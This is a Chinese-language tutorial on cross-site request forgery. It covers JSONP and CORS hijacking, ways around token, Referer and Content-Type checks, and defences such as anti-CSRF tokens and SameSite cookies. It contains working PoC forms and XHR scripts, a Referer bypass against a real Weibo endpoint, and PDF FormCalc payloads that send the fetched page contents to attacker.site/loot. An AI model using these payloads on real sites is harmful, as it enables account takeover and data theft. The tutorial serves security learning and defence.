注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

[TOC]

0x00 前言介绍

CSRF是什么?
答:CSRF(Cross-site request forgery)跨站请求伪造,也被称为 One Click Attack或者Session Riding,是一种广泛存在于网站中的安全漏洞缩写为CSRF/XSRF

CSRF则通过伪装来自受信任用户的请求来利用受信任的网站,与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性,但往往同XSS一同作案!

如何理解你可以这么理解CSRF攻击?
“攻击者盗用了你的身份,以你的名义发送恶意请求”,CSRF是一种依赖web浏览器的、被混淆过的代理人攻击,往往涉及到个人隐私泄露以及财产安全。

在学习CSRF之前还是需要了解一些额外的信息:
(1) JSONP跨域获取信息
同源策略,是浏览器安全的基石。但是有时开发中要求B站中获取A站的数据,不得不使用JSONP等方式进行跨域请求。
JSONP是通过GET请求跨域,因此一般情况下任何人都可以获取信息并把信息发给自己。
JSONP使用如下:

function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}
window.onload = function () {
addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
console.log('Your public IP address is: ' + data.phone);
};

JSONP最大特点就是简单适用,老式浏览器全部支持,服务器改造非常小。
但是这种跨同源策略的的行为也大大带来了风险不可滥用。因为这些数据别人也是可以获取的,最好不要用JSONP传递敏感的信息


0x01 CSRF基础原理

描述:在讲解CSRF之前我们先来看一个小明和小红和面部解锁的故事,就是小明去小红家玩耍,而玩了以后小红困了就去睡一觉这时小明只能找其他的东西玩,这时他看见了小红的手机但是解锁需要进行面部识别,它将其手机对着小红进行刷一下脸成功解锁,而此时小红还沉浸在睡梦里面什么都不知道;

而我们应该如何防护这一安全问题呢?
这时某家手机厂商发布了新的技术,这个技术就是当你解锁的时候验证手机的来源,比如是否能匹配你的手表或者戒指其他东西,来证明是你主动得解锁,也就是证明解锁的人是你,这样小明得利用就比较难了,但是也并不是没有办法,比如使用偷走小红的手表等等,此时手机厂商又推出了新的功能那就是用户的凭证,每一次都会进行凭证的验证,当每一次用户解锁手机的时候手表需要从服务端取回数据,然后再用手表中的作为凭证去做面容解锁,而且每一个数据只能使用一次。这样不能仅仅靠小明的那一双手能够越过的了,但是也不是没有办法,那么故事讲完了我们来分析一下各个事物在CSRF攻击中相当于什么东西吧~首先
小明攻击者小红受害者这里我们把小红的脸部也就是我们的cookie或者是一种识别我们用户的标识。手表这样用于验证也就是Referer 那么token就是服务端生成的数据了

官方术语说: 攻击能劫持终端用户在已登录的Web站点上执行本意操作,会自动携带同一域名下的cookie到服务器,简单的说攻击者透过盗用用户身份悄悄发送一个请求,或执行某些恶意操作,CSRF的过程非常隐秘受害人甚至无法察觉。

产生CSRF漏洞的原因大致有以下:

  • 一方面是开发者不够谨慎,编写的Web应用程序存在漏洞导致恶意利用;
  • 另一方面因为Web浏览器对于Cookie和HTTP身份验证的回话信息的处理存在一定的缺陷;
  • 服务器对于浏览器过于信任,相信从该浏览器发出的请求都是正确的,却没有区分这是用户主动发送的请求,还是模拟用户行为发出来的。


CSRF基础流程原理图:
WeiyiGeek.

简单的案例场景:
假如你登录了一个存在CSRF漏洞的网银A,只是进行查询余额操作.由于你已经登录,你的浏览器的操作都会被网银A的服务器信任,这时候有人发送给你一个网站B链接,内容介绍你很感兴趣,于是你点开了.然后你看完了内容,回过头来看自己的余额,发现钱都被转走了,下面就是一个流程图。
WeiyiGeek.


(1) 详细剖析CSRF案例场景

  • 假设某个站点具有转账功能(并且你已经登录)利用的GET方式实现该功能的HTML表单如下:
    银行网站A它以GET请求来完成银行转账的操作,如http://www.mybank.com/Transfe
    危险网站B它里面有一段HTML的代码如下:

    <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
  • 首先你登录了银行网站A,然后访问危险网站B,这时你会发现你的银行账户少了1000块.
    为什么会这样呢?
    答:原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源http://www.mybank.com/Transfer.php?toBankId=11&money=1000 结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作)所以就立刻进行转账操作

  • CSRF POC 1:只要输入对应的账号和金额提交就能实现转账。

    <form action="transfer.php" method="POST">  #以上CSRF能成功地原因,还有一个是因为开发人员滥用$_REQUEST方法,导致本来的POST操作可以用GET方式实现。
    账号:<input type="text" name="toBankId"/></br>
    金额:<input type="text" name="money"/></br>
    <input type="submit" value="提交"/>
    </form>
  • 假设受害者点击含有恶意代码的链接,并浏览带有下面HTML代码的网页b.com域的网站:<img src="http://www.a.com.transfer.php?toBankId=99&money=1000" />

  • 在这个CSRF的过程中,受害者是毫不知情的,莫名其妙发生了转账行为,CSRF的攻击最大的特点就是完全以用户的身份发起的很难防御


  • CSRF POC 2: 如果开发人员改用$_POST()方法来获取数据,那么要想成功执行CSRF需要加上Javascript代码(与XSS相结合)如下HTML:
    #选择用 POST 方法但也能轻松的绕过,采用iframe里面form表单进行POST请求即可。
    <form id="test" action="http://www.xxx.com.transfer.php" method="POST">
    账号:<input type="text" name="toBankId"/></br>
    金额:<input type="text" name="money"/></br>
    <input type="submit" value="提交"/>
    </form>
    <script>document.getElementById("test").submit()</script>

WeiyiGeek.


0x02 CSRF补充知识点

CSRF之Cookie策略

描述:CSRF之所以能请求成功是由于用户登录过网站,并且浏览器在Cookie有效的时间里保存了用户的身份凭据,而不管你通过什么方式访问网站,都会带上这个网站的 Cookies ,从第三方来的访问自然也不能例外。

1)浏览器的Cookie的分类

  • 一种是 Session Cookie,又称 “临时Cookie”。
  • 另一种是 Third-Party Cookie,也称 “本地Cookie”。

两则的区别:

  • Session Cookies 保存在浏览器进程的内存空间中,即浏览器关闭后便失效
  • Third-Party Cookie 是保存在本地,且有一个Expire的有效时间,超出后便失效了。

注意Tips:如果要跨域请求处于安全原因,某些浏览器会阻止Third-Party Cookie的传输。

  • 会拦截的浏览器:IE7/8/9、Safari
  • 不会拦截的浏览器:Firefox、Chrome、Opera、Andriod Browser

比如:我们在A.com的domain中Cookie.php给浏览器写入两个Cookies一个临时一个本地。

<?php
header("Set-Cookie: cookieName=1234;");
header("Set-Cookie: cookieName=1234; expires=Thu,01-Jan-2030 00:00:00 GMT;",false);
echo "<p style='color:red'>This is A domain</p>";
?>

此时在B.com 域里面有一个 http://www.b.com/csrf-test.html 此页面构造了访问 www.a.com <iframe src="http://www.a.com"></iframe>
这时你会发现IE会禁止本地的Cookie而发送临时Cookie,而我是用的火狐,则默认策略中允许发送第三方Cookies。

WeiyiGeek.

IE处于安全方面上的考虑,默认禁止了浏览器在<img>/<iframe>/<script>/<link>等标签中发第三方Cookies


2)P3P头的副作用 (P3P只有IE支持!)
尽管有些CSRF实施起来不需要认证,不需要发送Cookies,但是大多数重要的操作都在上面认证之后,但是P3P头的介入变得复杂起来了。

  • P3P header 是W3C指定的一项关于隐私标准,全称是 “个人隐私安全平台项目|The Platform for privacy Preferences”,P3P提高了用户对个人隐私性信息的控制权
    如果网站返回给浏览器的HTTP头中包含P3P头,则某种程度上来说,将允许浏览器发送第三方Cookies,IE下即使是<iframe>与<script>等标签也将不再拦截第三方Cookies的发送。

  • P3P 头主要用于类似广告等需要跨域访问的页面,P3P头设置后,对于Cookies的影响将扩大到整个域中的所有页面。因为Cookies是以域和path为单位,这并不符合”最小权限原则”;

比如:有a域或者b域,且在B域上面有个页面其中包含指向www.a.com的iframe; http://www.b.com/test.html的内容为:

<iframe src="http://www.localhost.com/test.php">Test</iframe>
#a域 的test.php是-个对a.com域设置Cookie的页面,其内容为:
<?php
header("Set-Cookies: test=axis2; domain=.localhost; path = /");
?>

WeiyiGeek.火狐浏览器是没问题的

P3P 的策略只设计一次即可,之后每次请求都请教都会遵循此策略,而不需要重复设置,采用P3P策略重写test.php文本如下:

<?php
header("P3P:CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUI INT DEM STA PRE COM NAV OTC NOI DSP COR");
header("Set-Cookies: test=axis2; expires=Sun, 23-Dec-2018 08:13:02 GMT;domain=.localhost; path = /");
?>

#//或者直接引用一个头 HTTP Headers
HTTP/1.1 200 OK
P3P: policyref="http://catalog.example.com/P3P/PolicyReferences.xml"
Content-Type: text/html
Content-Length: 7413
Server: CC-Galaxy/1.3.18

#//或者Link标签
<link rel="P3Pv1" href="http://catalog.example.com/P3P/PolicyReferences.xml">

#参考文档:https://www.w3.org/TR/P3P/#ref_file_example

WeiyiGeek.

P3P策略帮助 : https://www.w3.org/TR/P3P/#compact_policy_vocabulary

正因为P3P头目前在网站中广泛应用,因此CSRF防御中不能依赖与浏览器对第三方Cookie的拦截策略。


CSRF之Flash机制

IE6/7中,Flash发送网络请求均可以带上本地Cookies,但是IE8起Flash发起的网络请求不在发送本地Cookies了
Flash中发起请求的方式:URLRequest、getURL、loadVars。


0x03 CSRF漏洞利用

描述:CSRF的利用点找寻订单下单处 修改敏感信息处 删除信息处 绑定处 发送信息处;
CSRF利用场景:

  • 获取个人数据(常常使用)
  • 修改个人数据(横向越权)
  • 添加用户(纵向越权)等

CSRF的最佳利用方式么?
答:电商用户新增默认收货地址、发微博、添加管理员等等,所有的敏感操作都可以是我们的攻击目标,发现的用户账号授权相关的操作、二维码登陆、绑定第三方账号等,这些功能有CSRF的话就直接被盗号了,也就是说所有的敏感操作都需要进行CSRF的防护。

(1)采用CSRF来POST提交后台用户注册
描述:有时候CSRF需要POST来进行请求,而JSONP只是支持GET所有这时可以采用AJAX请求,当然存在的CORS会更好的利用;

XHR = false;
var XHR = windows.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObeject('Microsoft.XMLHTTP');
var url="http://127.0.0.1/admin/add_user.asp";
var params="UserName=XSSUSER&password=123456&password1=123346&submit=%CC%E1";
XHR.open("POST",url,true);
XHR.setRequestHeader("Content-type","application-x-www-form-urlencoded"); //点是值得学习的是加入了setRequestHeader;
XHR.setRequestHeader("Content-length",params.length); //值得学习
XHR.setRequestHeader("Connection","close");
XHR.send(params);

XHR.onreadystatechange = function () {
if (XHR.readyState == 4 && XHR.status == 200) {
document.write(XHR.responseText);
console.log("添加成功!!");
}
}


(2)JSON采用CSRF进行攻击
描述: 在漏洞挖掘过程当中多少会碰到csrf攻击 基本的csrf攻击,用burp就可以直接生成poc来测试(包括通过xhr请求执行csrf) 但是碰到post传输的数据是json格式时,burp也无解这时候下面的tips也许会起点儿作用;
我们来假设一个场景:http://target.com (无其他任何额外的csrf防御(token,验证refer)),只是对数据格式或者数据类型进行判断:

  • 1.服务器只验证是否为json格式的数据不验证Content-type请求头
    用fetch构造出JSON数据即可解决:
    WeiyiGeek.

我们访问json_csrf.html::
WeiyiGeek.

  • 2.服务器寻找json格式的数据并验证Content-type,是否为application / json
  • 3.用flash和307重定向即可解决:
    精心构造的flash文件:攻击者可以利用foo.example.com的Service Worker通过Flash读取CSRF-token

    #Write Flash AS code
    import flash.external.*;
    import flash.net.*;

    (function () {
    4var loader = new URLLoader(new URLRequest("https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/"));
    4loader.addEventListener("complete", loaderCompleted);
    4function loaderCompleted(event) {
    4ExternalInterface.call("alert", event.target.data.slice(189270,189335));
    4}
    })();

    #HTML页面嵌入
    var url = "https://attacker.com/bad.swf";
    onfetch = (e) => {
    e.respondWith(fetch(url);
    }

    #js新特性
    if ('serviceWorker' in navigator) {
    // 4837-sw.txt is the previous file.
    navigator.serviceWorker.register('4837-sw.txt').then(_=>location=1337);
    }
  • 4.带有307状态代码的PHP文件

  • 5.跨域XML文件: https://github.com/sp1d3r/swf_json_csrf
    将该项目下载后放在自己服务器的根目录下,访问:
    http[s]://[youhost]/read.html?jsonData={"name":"P0rZ9","phone":"123"}&php_url=http[s]://[youhost]/test.php&endpoint=http://target.com

WeiyiGeek.


(3)读取CSRF漏洞类型-JSONP劫持
描述: JSONP(JSON with Padding)是数据格式JSON的一种“使用模式”,可以让网页从别的网域要数据另一个解决这个问题的新方法是跨来源资源共享。它将引入一个函数那就是callback函数回调函数这里的解释可能看不懂,其实我们只需要把他理解成一个回调给我们的参数就好了,我们只需要有这个参数在去读取这个参数就可以进行jsonp的劫持了.

比如示例:劫持用户得一些个人信息
WeiyiGeek.
我们发现url上有一个参数是callback=aaa没错这里就是回调函数,我们就可以根据他来劫持jsonp的数据了那么我们就可以构造如下poc;

<script> function aaa(json) { alert(JSON.stringify(json)) } </script> 
<script src="https://vip.xxxxx.com/ajax/list/memberPonits.do?callback=aaa "></script>

jsonp劫持思路

  • 也是十分简单我们所要做的也就是寻找敏感点—>测试敏感点功能—>构造Poc

(4)读取CSRF漏洞类型-CORS劫持
描述:HTTP访问控制CORS是一种机制(具体的看我上面有关于CORS的文章),利用和jsonp的作用差不多,只不过是方式有所改变;
那么我们在这个漏洞中的关键点就是Orgin这个参数的传递了,有时候我们需要自己添加有时候他有而有时候他会通过某些参数传递以及浏览器自动获取;
举个例子: 需要采用PoC-CORS验证工具
WeiyiGeek.

挖掘思路:添加Ogrin头部信息看返回的数据里面有没有Access-Control-Allow-Orgin这个参数出现如果有尝试让他变成任意的url只要这样就可以进行cors劫持了。


0x04 CSRF漏洞ByPass

描述:CSRF保护绕过我们在漏洞挖掘过程中不难看出,很多时候我们会遇到各种CSRF的防护机制,随便一个网站都有token或者其他的防护机制。

下面我们需要了解一下常见的防护方法:

  • CSRF token
  • Referer Based Protection
  • XRSF Header
  • verify code
  • Seesions timeout
  • Double Password
  • Double submit cookie
  • SameSiteCookies (Chrome, Opera)
  • Content-Type based protection

CSRF-protections绕过方法:

  • XSS: 利用XSS盗取CSRF token 从而进行CSRF漏洞利用,以及利用XSS漏洞进行直接的请求饶过Referer限制;
  • Dangling markup
  • Vulnerable subdomains
  • Cookie injection
  • Change Content-Type #重点观察请求体头
  • Non-simple Content-Type
  • Bad PDF
  • Refererspoof
  • Delete CSRF Token 或者 Send CSRF Token Empty 或者与token相同长度的任意字符串替换token
  • Change Requst Method

CSRF-ByPass表说明:

  • ALL-适用于所有浏览器
  • All*-所有浏览器,除了支持相同的浏览器(Chrome和Opera)
    WeiyiGeek.


1) Referrer源绕过
参考Wooyun: http://www.anquan.us/static/bugs/wooyun-2015-0164067.html

该漏洞挖掘流程和大体思路:发现发微博的功能点——尝试利用此功能点发微博——微博发表成功——尝试绕过Referer的限制(重点:查看原本请求来源-进行测试绕过)——绕过referer验证编写Poc进行利用;

#接口
http://game.weibo.com/avatar/interface/shareAvatar

# 有检查referrer,但是可以用app.wcdn.cn.*.*类似的域名绕过。
<form action="http://game.weibo.com/avatar/interface/shareAvatar" method="post">
<input type="text" name="content" value="Hi, testing http://app.wcdn.cn.zhchbin.xyz/" />
<input type="text" name="image" value="" />
<script> document.forms[0].submit(); </script>
</form>

#浏览器登录微博后,点开这个链接:
http://app.wcdn.cn.zhchbin.xyz/

WeiyiGeek.

其他方法尝试从其他渠道获得CSRF token
描述:利用了Referer泄露获取CSRF token 再利用CSRF token进行CSRF攻击
参考示例:http://www.anquan.us/static/bugs/wooyun-2015-090935.html

常用的绕过方法:

  • 1.置空:删除referer内容
  • 2.子域名:因为开发的正则问题可能存在子域名这种绕过方式,比如 https://baidu.weiyigeek.com 我们让baidu变成子域名这样就绕过了比较弱的正则了


2)思路1:删除X-CSRFToken报头然后将POST请求改为GET

  • 1)首先我从上面的POST请求中删除了“X-CSRFToken”报头并转发,在响应中出现了“/resource/UserSettingsResource/update/ 8秒未完成”的错误,表示正在验证CSRF令牌。
  • 2)然后我将POST请求更改为GET并转发请求(没有“X-CSRFToken”报头),这次我得到了“200 ok”作为响应。

总结:利用POST和删除“X-CSRFToken”报头测试成功-构造PoC以GET请求来修改邮箱-成功CSRF攻击后利用修改后邮箱重置密码
参考案例:https://medium.com/Skylinearafat/a-very-useful-technique-to-bypass-the-csrf-protection-for-fun-and-profit-471af64da276 #修改了请求方式,并把POST的参数通过GET传入
参考案例:http://infosecflash.com/2019/01/05/how-i-could-have-taken-over-any-pinterest-account/


3) Use Bad PDF
描述:FormCalc的get()和post()方法允许过滤CSRF-token,其实就是我们的PDF被浏览器解析,因为插件的原因可以进行请求,我们上传恶意的PDF文件在目标网站这样可以绕过referer甚至CSRF token ,这个漏洞和去年(2018)阿里的Chrome支持的PDF跳转是类似的。

#我们只需要制作恶意的PDF文件,在里面插入我们的恶意代码:
<script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action");
Post("http://attacker.site/loot",content,"text/plain");
</script>

CSRF bypass的PPT思路:制作可利用的PDF文件->嵌入到csrf-pdf.html中
WeiyiGeek.

参考连接:https://speakerd.s3.amazonaws.com/presentations/05f698063d87416ba0ec312d0948799b/ZeroNights_2017.pdf

利用PDF插件绕过

POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; #关键点
Connection: close
Content-Type: application/x-thrift #关键点
Content-Length: 43

�addNote � � r �

CSRF-thrift.html

<script>
var request = new XMLHttpRequest();
request.open('POST', 'https://example.com/add/note', true);
request.withCredentials = true; //利用CORS
request.setRequestHeader("Content-type", "text/plain");
var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55',
'0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00'];
var bin = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++) {
bin[i] = parseInt(data[i], 16);
}
request.send(bin);
</script>


PDF与旁路CRLF注入Referer来源

<script contentType='application/x-formcalc'>
Post("http://attacker.com:8888/redirect",
"{""action"":""add-user-email"",""Email"":""[email protected]""}",
"application/json&#x0a;&#x0d;Referer;&#x20;http://example.com")
</script>

WeiyiGeek.


4) 旁路cookie注入绕过
描述:攻击者可以通过cookie注入绕过双重提交cookie保护
cookie注入的方法:

  • CRLF-injection (HTML响应拆分注入漏洞)
  • Browser bugs (like CVE-2016-9078 in Firefox)


5) Content-Type绕过方法
描述:该类漏洞主要是利用的程序后端没有验证(Calidate)Content-Type头;
攻击者只能通过HTML表单或XHR api 发送 “简单” 的内容类型:

* text/plain
* application/x-www-form-urlencoded
* multipart/form-data

利用方式:sendbeacon()调用,允许发送具有任意内容类型的POST请求

<script>
function jsonreq() {
var data = '{"action":"add-user-email","Email":"[email protected]"}';
var blob = new Blob([data], {type : 'application/json;charset=utf-8'});
navigator.sendBeacon('https://example.com/home/rpc'
, blob );
}
jsonreq();
</script>


0x05 安全防御

在业界目前防御 CSRF 攻击主要有几种策略:

  • 验证 HTTP Referer 字段;
  • 在请求地址中添加 token 并验证;
  • 在 HTTP 头中自定义属性并验证;
  • 验证码二次确认并验证。

开发者和使用者

1)验证码-二次确认

  • 当进行敏感操作的时候需要用户进行确认,输入验证码或者密码,二次确认校验通过后才进行真正的操作。
  • 缺点:如果我不是转账,只是发微博,评论,点赞等简单的社交操作.每次输入验证码非常影响用户体验,所以这种方式只适合在极其敏感,需要用户再三确认的场景下使用,甚至非常敏感的操作应该要使用短信验证这种;


2)Referer校验

  • 利用HTTP头中的Referer判断请求来源是否合法,攻击者网站上发出的CSRF请求一般情况是不会携带Referer为网站A网址的,所以服务器端可以简单以Referer来判断请求是否是来源于自己的网站,从而拒绝掉CSRF的请求。
  • 优点:简单易行,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。
  • 缺点:
    1.Referer 的值是由浏览器提供的,不可全信低版本浏览器下Referer存在伪造风险。
    2.用户自己可以设置浏览器使其在发送请求时不再提供 Referer时,网站将拒绝合法用户的访问。
    3.在 http和https间跳转出于安全的考虑浏览器不会发送Referer
    4.img 标签引用了一个非图片网址或者其他情况可能存在为空抑或服务器端代码不严谨等情况

3)Anti CSRF Token校验
CSRF 为什么能够攻击成功?
答:其本质原因是重要操作的所有参数都是可以被攻击者猜到的,而攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中
解决方向:在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中,以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证

  • 开发者可以在HTTP请求中以参数的形式加入一个随机产生的token(要求攻击者无法伪造),对于token错误的请求,则认为是CSRF攻击,并拒绝该请求。
    http://host/path/delete?username=abcd&item=123&token=[random(seed)]
    一次性token是比较常用的方式,每次用户请求返回后,下发一个token,在下次表单提交或者HTTP GET的方式请求敏感数据时都携带该Token,服务器端对token进行校验并刷新Token的值,重新下发。

  • 在CSRF攻击的情况下,网站B是拿不到网站A表单里的token的,所以服务器可以快速的验证出有效的请求。
    在实际应用开发之中,Token还可以放在用户的session中,或者浏览器Cookie中,然后与表单里面的Token(一般是hidden)相比较得出,请求是不是合法的,

Token的使用原则:

  • 使用Token应该注意其保密性,Token如果出现在某个URL中,则可能会通过Referer的方式泄露,这时用户需要点击当前页面中逻辑业务,如果这样的情况下,页面包含了一个攻击者指定的地址图片,会将Token发送到特点的网站中。

  • 优点:比检查 Referer 要安全一些,并且不涉及用户隐私。

  • 缺点:对所有请求都添加token比较困难,难以保证 token 本身的安全,依然会被利用获取到token,一次性Token的缺点是页面并发请求不被支持。

4)在 HTTP 头中自定义属性并验证+One-Time Tokens
所以关键数据操作的请求,最好使用POST请求,限制GET请求的数据,以Form表单或者AJax进行提交,可以避免Token泄露,使用ajax还可以采用校验X-Requested-With头。

下面有一种很好用的Token验证方法,在HTTP头中自定义属性并验证,如下:

#自定义HTTP头X-CSRF-Token。先把token放入meta:
<meta name="csrf-token" content="{{ csrf_token() }}">

#然后在全局Ajax中使用这种方式设置X-CSRF-Token请求头并提交:
$.ajaxSetup({ headers: { 'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
}
});
每次Ajax请求则会自动加上自定义的HTTP头X-CSRF-Token。

  • 突破点:此方法的关键点在于token不能被攻击者的代码获取,倘若网站存在XSS漏洞,那么攻击者是可以结合XSS获取到Token从而进行CSRF攻击(也叫XSRF),所以要解决CSRF要先解决XSS,否则也是枉然.
  • 防御:将token放到 HTTP 头中自定义的属性里,通过 XMLHttpRequest 的异步请求交由后端校验,并且一次有效。

  • 优点:统一管理token输入输出,可以保证token的安全性

  • 缺点:有局限性,无法在非异步的请求上实施

5)建立日志系统
比如严格的日志系统,这个在企业防护CSRF中,算是事后防护了,能甄别一定的CSRF攻击。


6)用户个人习惯
用户可通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie(浏览器自带退出浏览器后清除缓存))


浏览器特性防御

Chrome 浏览器
描述:可以在第三方网站访问时不带 Cookies ,也就是说 Cookies 只有本站能用,来自第三方的访问都不能使用。

使用方式:是在Set-Cookie 的时候加上一个属性 SameSite 它的值有两个:

  • strict :任何来自第三方的请求都不能使用 Cookies,包括通过链接点进来的
  • lex :只有比较敏感的操作不带 Cookies ,比如表单提交
    针对 CSRF 我们可以将 Cookies 设置成SameSite: strict的就可以有效防御 CSRF 了,比较可惜的是,目前只有 Chrome 才支持这一属性。

0x06 总结

个人学习心得总结:

  • CSRF漏洞为了扩大其危害程度常常与XSS漏洞相结合打组合拳来进行使用;

  • CSRF漏洞提交方式总结:

    <a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

    <img src="http://www.example.com/api/setusername?username=CSRFd">

    <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
    <input name="username" type="hidden" value="CSRFd" />
    <input type="submit" value="Submit Request" />
    </form>

    <form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
    <input name="username" type="hidden" value="CSRFd" />
    <input type="submit" value="Submit Request" />
    </form>
    <script>
    document.getElementById("autosubmit").submit();
    </script>

    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://www.example.com/api/currentuser");
    xhr.send();
    </script>

    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://www.example.com/api/setrole");
    xhr.setRequestHeader("Content-Type", "text/plain");
    xhr.send('{"role":admin}');
    </script>

    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://www.example.com/api/setrole");
    xhr.withCredentials = true;
    xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
    xhr.send('{"role":admin}');
    </script>

    <!-- pdf Exp-->
    <script contentType='application/x-formcalc'>
    var content = GET("https://example.com/Settings.action");
    Post("http://attacker.site/loot",content,"text/plain");
    </script>
  • 编写CSRF的Poc以及利用工具:

    • Burpsuite的CSRFPOC自动生成工具:Proxy->Intercept->右键->Engagement Tools->Generate CSRF PoC, 同时burpsuite还为我们提供了直接的测试功能可以直接在浏览器中打开url进行测试
      WeiyiGeek.
    • PoC-CORS验证工具: https://github.com/nccgroup/CrossSiteContentHijacking